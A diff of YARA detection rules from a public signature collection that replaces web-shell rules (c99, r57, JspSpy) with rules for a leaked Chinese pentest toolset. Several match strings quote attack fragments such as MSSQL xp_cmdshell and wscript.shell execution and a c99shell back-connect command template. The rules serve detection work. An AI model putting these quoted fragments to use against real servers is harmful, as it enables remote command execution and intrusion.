-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2788-L2807"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "95d25e9dc75a9af91e23b8c53acb384616f5d8a78605200bdb94f016a7f160f6"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1664-L1681"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "93bf0f64bec926e9aa2caf4c28df9af27ec0e104"
+		logic_hash = "017b5f76a3168089f3186134e7a4c0352158bb866228776240f0d014834e6ee0"
 		score = 70
-		quality = 85
-		tags = ""
+		quality = 60
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "0b19e9de790cd2f4325f8c24b22af540"
-		hash1 = "f3ca29b7999643507081caab926e2e74"
-		hash2 = "527cf81f9272919bf872007e21c4bdda"
 
 	strings:
-		$s1 = "<td><input size=\"48\" value=\"$docr/\" name=\"path\" type=\"text\"><input type="
-		$s2 = "$uploadfile = $_POST['path'].$_FILES['file']['name'];" fullword
-		$s6 = "elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}" fullword
-		$s7 = "if ($_POST['path']==\"\"){$uploadfile = $_FILES['file']['name'];}" fullword
+		$s1 = ";use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamet" wide
+		$s2 = "http://localhost/1.asp?id=16" fullword ascii
+		$s3 = " exec master.dbo.xp_cmdshell @Z--" fullword wide
+		$s4 = ";use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamet" wide
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <2600KB and 2 of them
 }
-rule SIGNATURE_BASE_Webshell_C99_C99Shell_C99_W4Cking_Shell_Xxx
+rule SIGNATURE_BASE_CN_Honker_Sig_3389_Dubrute_V3_0_RC3_2_0 : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file 2.0.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2014-01-28"
+		id = "dda5eea9-da79-5f1f-bbac-9f05ba7e71c9"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2808-L2836"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "731bbf06208d20874c1d8464472e6a66a2e9b0bc2dc0475783763b99eb70fefa"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1683-L1699"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e8ee982421ccff96121ffd24a3d84e3079f3750f"
+		logic_hash = "8c9be7e8cc04eba6b131acc3c85ac48d7663260a2e4064ad55ed8f40e0875cf4"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
-		hash1 = "d3f38a6dc54a73d304932d9227a739ec"
-		hash2 = "9c34adbc8fd8d908cbb341734830f971"
-		hash3 = "f2fa878de03732fbf5c86d656467ff50"
-		hash4 = "b8f261a3cdf23398d573aaf55eaf63b5"
-		hash5 = "27786d1e0b1046a1a7f67ee41c64bf4c"
-		hash6 = "0f5b9238d281bc6ac13406bb24ac2a5b"
-		hash7 = "68c0629d08b1664f5bcce7d7f5f71d22"
-		hash8 = "157b4ac3c7ba3a36e546e81e9279eab5"
-		hash9 = "048ccc01b873b40d57ce25a4c56ea717"
 
 	strings:
-		$s0 = "echo \"<b>HEXDUMP:</b><nobr>"
-		$s4 = "if ($filestealth) {$stat = stat($d.$f);}" fullword
-		$s5 = "while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo \"<tr><td>\".$r"
-		$s6 = "if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo \"DB "
-		$s8 = "echo \"<center><b>Server-status variables:</b><br><br>\";" fullword
-		$s9 = "echo \"<textarea cols=80 rows=10>\".htmlspecialchars($encoded).\"</textarea>"
+		$s0 = "IP - %d; Login - %d; Password - %d; Combination - %d" fullword ascii
+		$s3 = "Create %d IP@Loginl;Password" fullword ascii
+		$s15 = "UBrute.com" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <980KB and 2 of them
 }
-rule SIGNATURE_BASE_Webshell_2008_2009Mssql_Phpspy_2005_Full_Phpspy_2006_Arabicspy_Hkrkoz
+rule SIGNATURE_BASE_CN_Honker_Hkmjjiis6 : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file hkmjjiis6.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
-		date = "2014-01-28"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2837-L2859"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2d78db4d45a35d6a78d4288e00a382a0937e3806f0570bd353b88955664a47f6"
+		id = "badf8224-4f09-57aa-ab16-0d70e0b3f88c"
+		date = "2015-06-23"
+		modified = "2023-01-27"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1701-L1718"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4cbc6344c6712fa819683a4bd7b53f78ea4047d7"
+		logic_hash = "a087b9731444152b717e0fbae557004d94f3fb69a4ec65aa38b7a3dab3e3cddf"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "3e4ba470d4c38765e4b16ed930facf2c"
-		hash1 = "aa17b71bb93c6789911bd1c9df834ff9"
-		hash2 = "b68bfafc6059fd26732fa07fb6f7f640"
-		hash3 = "40a1f840111996ff7200d18968e42cfe"
-		hash4 = "e0202adff532b28ef1ba206cf95962f2"
-		hash5 = "802f5cae46d394b297482fd0c27cb2fc"
 
 	strings:
-		$s0 = "$this -> addFile($content, $filename);" fullword
-		$s3 = "function addFile($data, $name, $time = 0) {" fullword
-		$s8 = "function unix2DosTime($unixtime = 0) {" fullword
-		$s9 = "foreach($filelist as $filename){" fullword
+		$s14 = "* FROM IIsWebInfo/r" fullword ascii
+		$s19 = "ltithread4ck/" ascii
+		$s20 = "LookupAcc=Sid#" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <175KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_C99_C66_C99_Shadows_Mod_C99Shell
+rule SIGNATURE_BASE_CN_Honker_Clearlogs : FILE
 {
 	meta:
-		description = "Web Shell - from files c99.php, c66.php, c99-shadows-mod.php, c99shell.php"
+		description = "Sample from CN Honker Pentest Toolset - file clearlogs.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2014-01-28"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2860-L2882"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b50a6124f25bbb6fcc9d16d1de26d833a4b968db8e8033e76f3a74695577017e"
+		id = "bfbc339e-5530-5984-94de-be1002f09ca1"
+		date = "2015-06-23"
+		modified = "2023-01-27"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1720-L1736"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "490f3bc318f415685d7e32176088001679b0da1b"
+		logic_hash = "ed961d2850ba86743177976a4516e7d4a8b90b7e8f180c03f5dbbcc794ad1084"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
-		hash1 = "0f5b9238d281bc6ac13406bb24ac2a5b"
-		hash2 = "68c0629d08b1664f5bcce7d7f5f71d22"
-		hash3 = "048ccc01b873b40d57ce25a4c56ea717"
 
 	strings:
-		$s2 = "  if (unlink(_FILE_)) {@ob_clean(); echo \"Thanks for using c99shell v.\".$shv"
-		$s3 = "  \"c99sh_backconn.pl\"=>array(\"Using PERL\",\"perl %path %host %port\")," fullword
-		$s4 = "<br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#66"
-		$s7 = "   elseif (!$data = c99getsource($bind[\"src\"])) {echo \"Can't download sources"
-		$s8 = "  \"c99sh_datapipe.pl\"=>array(\"Using PERL\",\"perl %path %localport %remotehos"
-		$s9 = "   elseif (!$data = c99getsource($bc[\"src\"])) {echo \"Can't download sources!"
+		$s2 = "- http://ntsecurity.nu/toolbox/clearlogs/" ascii
+		$s4 = "Error: Unable to clear log - " fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <140KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_He1P_Jspspy_Nogfw_Ok_Style_1_Jspspy1
+rule SIGNATURE_BASE_CN_Honker_No_Net_Priv_Esc_Adduser : FILE
 {
 	meta:
-		description = "Web Shell - from files he1p.jsp, JspSpy.jsp, nogfw.jsp, ok.jsp, style.jsp, 1.jsp, JspSpy.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file AddUser.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "0f99914c-9349-5870-a3e0-3a5079efdecf"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2883-L2906"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "522ba5f797e33c27fef3ae8d89889c31799073ed3c770a49401f4d42ead04640"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1738-L1754"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4c95046be6ae40aee69a433e9a47f824598db2d4"
+		logic_hash = "743e67e2aa95830034db1afda1f346c30467c7b59e030ed27415e5127013be74"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "b330a6c2d49124ef0729539761d6ef0b"
-		hash1 = "d71716df5042880ef84427acee8b121e"
-		hash2 = "344f9073576a066142b2023629539ebd"
-		hash3 = "32dea47d9c13f9000c4c807561341bee"
-		hash4 = "b9744f6876919c46a29ea05b1d95b1c3"
-		hash5 = "3ea688e3439a1f56b16694667938316d"
-		hash6 = "2434a7a07cb47ce25b41d30bc291cacc"
 
 	strings:
-		$s0 = "\"\"+f.canRead()+\" / \"+f.canWrite()+\" / \"+f.canExecute()+\"</td>\"+" fullword
-		$s4 = "out.println(\"<h2>File Manager - Current disk &quot;\"+(cr.indexOf(\"/\") == 0?"
-		$s7 = "String execute = f.canExecute() ? \"checked=\\\"checked\\\"\" : \"\";" fullword
-		$s8 = "\"<td nowrap>\"+f.canRead()+\" / \"+f.canWrite()+\" / \"+f.canExecute()+\"</td>"
+		$s0 = "PECompact2" fullword ascii
+		$s1 = "adduser" fullword ascii
+		$s5 = "OagaBoxA" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <115KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_000_403_C5_Config_Myxx_Querydong_Spyjsp2010_Zend
+rule SIGNATURE_BASE_CN_Honker_Injection : FILE
 {
 	meta:
-		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, config.jsp, myxx.jsp, queryDong.jsp, spyjsp2010.jsp, zend.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file Injection.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "8600c86f-0da1-5ddb-bae5-69358cf53e7c"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2907-L2930"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7ca710973592718c5455508c5798b3c51dce994d5ebd33aa3a59d1b03c096bdf"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1756-L1771"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3484ed16e6f9e0d603cbc5cb44e46b8b7e775d35"
+		logic_hash = "8de3e59bd118fbbf1a012c6bfb358dba7c8fb758e3ac17277f2ad3a92c0284ba"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
-		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
-		hash2 = "8b457934da3821ba58b06a113e0d53d9"
-		hash3 = "d44df8b1543b837e57cc8f25a0a68d92"
-		hash4 = "e0354099bee243702eb11df8d0e046df"
-		hash5 = "90a5ba0c94199269ba33a58bc6a4ad99"
-		hash6 = "655722eaa6c646437c8ae93daac46ae0"
-		hash7 = "591ca89a25f06cf01e4345f98a22845c"
 
 	strings:
-		$s0 = "return new Double(format.format(value)).doubleValue();" fullword
-		$s5 = "File tempF = new File(savePath);" fullword
-		$s9 = "if (tempF.isDirectory()) {" fullword
+		$s0 = "http://127.0.0.1/6kbbs/bank.asp" fullword ascii
+		$s7 = "jmPost.asp" fullword wide
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <220KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_C99_C99Shell_C99_C99Shell
+rule SIGNATURE_BASE_CN_Honker_Sqlserver_Inject_Creaked : FILE
 {
 	meta:
-		description = "Web Shell - from files c99.php, c99shell.php, c99.php, c99shell.php"
+		description = "Sample from CN Honker Pentest Toolset - file SQLServer_inject_Creaked.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2014-01-28"
+		id = "9a8a77c2-9e06-5694-8055-4480ab932520"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2931-L2949"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b999b1a8307e228fb97772799369e292fb806d614159f2b2abfc7a71c5bdb225"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1773-L1788"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "af3c41756ec8768483a4cf59b2e639994426e2c2"
+		logic_hash = "2a7e913a4b7bb6c1270d862108eae7ed3998114b672ca7fa19bd0b199fc27dc2"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
-		hash1 = "d3f38a6dc54a73d304932d9227a739ec"
-		hash2 = "157b4ac3c7ba3a36e546e81e9279eab5"
-		hash3 = "048ccc01b873b40d57ce25a4c56ea717"
 
 	strings:
-		$s2 = "$bindport_pass = \"c99\";" fullword
-		$s5 = " else {echo \"<b>Execution PHP-code</b>\"; if (empty($eval_txt)) {$eval_txt = tr"
+		$s1 = "http://localhost/index.asp?id=2" fullword ascii
+		$s2 = "Email:zhaoxypass@yahoo.com.cn<br>" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <8110KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_R57Shell127_R57_Ifx_R57_Kartal_R57_Antichat
+rule SIGNATURE_BASE_CN_Honker_Webscan_Webscan : FILE
 {
 	meta:
-		description = "Web Shell - from files r57shell127.php, r57_iFX.php, r57_kartal.php, r57.php, antichat.php"
+		description = "Sample from CN Honker Pentest Toolset - file WebScan.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "1545494b-9a74-5b2e-921c-e54dd5ac4b51"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2950-L2971"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "23887963068f7dd2e4c85b11079276a00786d1a753f22e3b63f01139087a7f4c"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1790-L1805"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a0b0e2422e0e9edb1aed6abb5d2e3d156b7c8204"
+		logic_hash = "a714fe90dce33180b8074e2c3a16fc1829ed2a7b387eb92aec8a147cff9e57a4"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "ae025c886fbe7f9ed159f49593674832"
-		hash1 = "513b7be8bd0595c377283a7c87b44b2e"
-		hash2 = "1d912c55b96e2efe8ca873d6040e3b30"
-		hash3 = "4108f28a9792b50d95f95b9e5314fa1e"
-		hash4 = "3f71175985848ee46cc13282fbed2269"
 
 	strings:
-		$s6 = "$res   = @mysql_query(\"SHOW CREATE TABLE `\".$_POST['mysql_tbl'].\"`\", $d"
-		$s7 = "$sql1 .= $row[1].\"\\r\\n\\r\\n\";" fullword
-		$s8 = "if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }" fullword
-		$s9 = "foreach($values as $k=>$v) {$values[$k] = addslashes($v);}" fullword
+		$s1 = "wwwscan.exe" fullword wide
+		$s2 = "WWWScan Gui" fullword wide
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <700KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_NIX_REMOTE_WEB_SHELL_Nstview_Xxx
+rule SIGNATURE_BASE_CN_Honker_Gethashes_2 : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset - file GetHashes.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "31117d2e-caf1-58c9-8525-b40b73097928"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2972-L2991"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b10e89c6b1851f88a2bbb9116969ea3770366c162b911cb8a2c3a033da3a46bc"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1807-L1823"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "35ae9ccba8d607d8c19a065cf553070c54b091d8"
+		logic_hash = "778fde2c59d4523142c0ac5b5c953c9eedbbf3c00b406541c00c1aa1f1a9cc58"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "0b19e9de790cd2f4325f8c24b22af540"
-		hash1 = "4745d510fed4378e4b1730f56f25e569"
-		hash2 = "f3ca29b7999643507081caab926e2e74"
-		hash3 = "46a18979750fa458a04343cf58faa9bd"
 
 	strings:
-		$s3 = "BODY, TD, TR {" fullword
-		$s5 = "$d=str_replace(\"\\\\\",\"/\",$d);" fullword
-		$s6 = "if ($file==\".\" || $file==\"..\") continue;" fullword
+		$s1 = "GetHashes.exe <SAM registry file> [System key file]" fullword ascii
+		$s2 = "GetHashes.exe $Local" fullword ascii
+		$s3 = "The system key doesn't match SAM registry file!" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <300KB and 2 of them
 }
-rule SIGNATURE_BASE_Webshell_000_403_807_A_C5_Config_Css_Dm_He1P_Xxx
+rule SIGNATURE_BASE_SUSP_Patcher_Keygen_Indicators_Jun15 : FILE
 {
 	meta:
-		description = "Web Shell"
+		description = "Sample from CN Honker Pentest Toolset"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "4dd65e4b-8178-5576-9740-b3c80a8127e2"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2992-L3042"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "46eede3a1af29e344ed5107fc0af4bd13cd1492bff340d61063911bbb474e7b3"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1825-L1841"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e32f5de730e324fb386f97b6da9ba500cf3a4f8d"
+		logic_hash = "07735c380cf34aaabd5cc0e1b38e32b3d4ad86b7bb184188d446df537f66775e"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
-		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
-		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
-		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
-		hash4 = "8b457934da3821ba58b06a113e0d53d9"
-		hash5 = "d44df8b1543b837e57cc8f25a0a68d92"
-		hash6 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
-		hash7 = "14e9688c86b454ed48171a9d4f48ace8"
-		hash8 = "b330a6c2d49124ef0729539761d6ef0b"
-		hash9 = "d71716df5042880ef84427acee8b121e"
-		hash10 = "341298482cf90febebb8616426080d1d"
-		hash11 = "29aebe333d6332f0ebc2258def94d57e"
-		hash12 = "42654af68e5d4ea217e6ece5389eb302"
-		hash13 = "88fc87e7c58249a398efd5ceae636073"
-		hash14 = "4a812678308475c64132a9b56254edbc"
-		hash15 = "9626eef1a8b9b8d773a3b2af09306a10"
-		hash16 = "e0354099bee243702eb11df8d0e046df"
-		hash17 = "344f9073576a066142b2023629539ebd"
-		hash18 = "32dea47d9c13f9000c4c807561341bee"
-		hash19 = "90a5ba0c94199269ba33a58bc6a4ad99"
-		hash20 = "655722eaa6c646437c8ae93daac46ae0"
-		hash21 = "b9744f6876919c46a29ea05b1d95b1c3"
-		hash22 = "6acc82544be056580c3a1caaa4999956"
-		hash23 = "6aa32a6392840e161a018f3907a86968"
-		hash24 = "591ca89a25f06cf01e4345f98a22845c"
-		hash25 = "349ec229e3f8eda0f9eb918c74a8bf4c"
-		hash26 = "3ea688e3439a1f56b16694667938316d"
-		hash27 = "ab77e4d1006259d7cbc15884416ca88c"
-		hash28 = "71097537a91fac6b01f46f66ee2d7749"
-		hash29 = "2434a7a07cb47ce25b41d30bc291cacc"
-		hash30 = "7a4b090619ecce6f7bd838fe5c58554b"
 
 	strings:
-		$s3 = "String savePath = request.getParameter(\"savepath\");" fullword
-		$s4 = "URL downUrl = new URL(downFileUrl);" fullword
-		$s5 = "if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))" fullword
-		$s6 = "String downFileUrl = request.getParameter(\"url\");" fullword
-		$s7 = "FileInputStream fInput = new FileInputStream(f);" fullword
-		$s8 = "URLConnection conn = downUrl.openConnection();" fullword
-		$s9 = "sis = request.getInputStream();" fullword
+		$s0 = "<description>Patch</description>" fullword ascii
+		$s2 = "\\dup2patcher.dll" ascii
+		$s3 = "load_patcher" fullword ascii
 
 	condition:
-		4 of them
+		uint16(0)==0x5a4d and filesize <4000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_2_520_Icesword_Job_Ma1
+rule SIGNATURE_BASE_CN_Honker_Tuoku_Script_Oracle_2 : FILE
 {
 	meta:
-		description = "Web Shell - from files 2.jsp, 520.jsp, icesword.jsp, job.jsp, ma1.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file oracle.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "b88a0faa-1616-5f1b-80dc-6e6a2f0cb671"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L3043-L3063"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "795eb586310d87a3c6b53117bf2c8cbcfadcb177f5a5129c17fd21f0b64c385c"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1843-L1858"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "865dd591b552787eda18ee0ab604509bae18c197"
+		logic_hash = "627d81323266d67a2402367918b4f6e7277367c3eb027af57ac6966f2a49472c"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "64a3bf9142b045b9062b204db39d4d57"
-		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
-		hash2 = "077f4b1b6d705d223b6d644a4f3eebae"
